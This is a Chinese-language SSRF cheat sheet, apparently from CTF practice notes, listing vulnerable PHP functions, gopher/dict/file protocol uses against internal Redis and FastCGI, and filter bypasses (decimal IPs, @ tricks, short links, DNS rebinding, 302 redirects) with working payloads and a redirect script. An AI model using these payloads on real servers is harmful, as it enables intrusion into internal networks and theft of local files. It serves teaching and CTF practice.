常用的SSRF漏洞利用方式和原理:
SSRF的原理:
SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。
简单的来说就是利用服务端的请求伪造,作为代理攻击远程和本地的服务器的方式。
产生漏洞的相关PHP函数列表:
代码语言:javascript复制file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()
常见的利用方法:
构造http读取函数:
payload=http://127.0.0.1/flag.php
http://
:探测内网主机存活、端口开放情况
gopher://
:发送GET或POST请求;攻击内网应用,如FastCGI、Redis
dict://
:泄露安装软件版本信息,查看端口,操作内网redis访问等
file://
:读取本地文件
常见的限制:
- 限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过。即@ http://www.xxx.com@www.xxc.com
- 2限制请求IP不为内网地址
当不允许ip为内网地址时 (1)采取短网址绕过 (2)采取特殊域名 (3)采取进制转换
- 限制请求只为http协议
(1)采取302跳转 (2)采取短地址
常用的绕过方法:
常用绕过方法
1.@ http://abc.com@127.0.0.1
2.添加端口号 http://127.0.0.1:8080
3.短地址 https://0x9.me/cuGfD 推荐:http://tool.chinaz.com/tools/dwz.aspx、https://dwz.cn/
4.可以指向任意ip的域名 xip.io 原理是DNS解析。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1
5.ip地址转换成进制来访问 192.168.0.1=3232235521(十进制)
6.非HTTP协议
7.DNS Rebinding
8.利用[::]绕过 http://[::]:80/ >>> http://127.0.0.1
9.句号绕过 127。0。0。1 >>> 127.0.0.1
10.利用302跳转绕过 使用https://tinyurl.com生成302跳转地址
代码语言:javascript复制 @:http://www.baidu.com@10.10.10.10 与 http?/10.10.10.10 请求是相同的
过滤绕过 IP地址转换成十进制:
127.0.0.1 先转换为十六进制 7F000001 两位起步所以 1就是01
7F000001转换为二进制 127.0.0.1=2130706433 最终结果
一些技巧:
1.长度过滤
代码语言:javascript复制if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
遇到这种长度限制可以考虑一下短链接和127.1这种短的绕过方法。
url=http://127.1/flag.php
代码语言:javascript复制if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
小于等于3的,可以考虑使用:
url=http://0/flag.php
2.正则过滤
代码语言:javascript复制if(!preg_match('/localhost|1|0|。/i', $url)){
遇到这种正则绕过没办法的,可以考虑使用dns解析绕过,使用一个正则解析的白白名单域名进行绕过;
url=http://ssrf.yu-zhai.com/flag.php
代码语言:javascript复制$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http://ctf..*show$/i',$url)){
echo file_get_contents($url);
}
这种情况可以使用@连接进行绕过处理,前面不执行,后面执行
url=http://ctf.@127.0.0.1/flag.php?a=show
3.重定向绕过
代码语言:javascript复制if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
这样的的过滤可以使用重定向直接绕过
代码语言:javascript复制<?php
header("Location:http://127.0.0.1/flag.php");
?>
然后直接提交相应的地址文件:url=http://52yuzhai.top/ssrf.php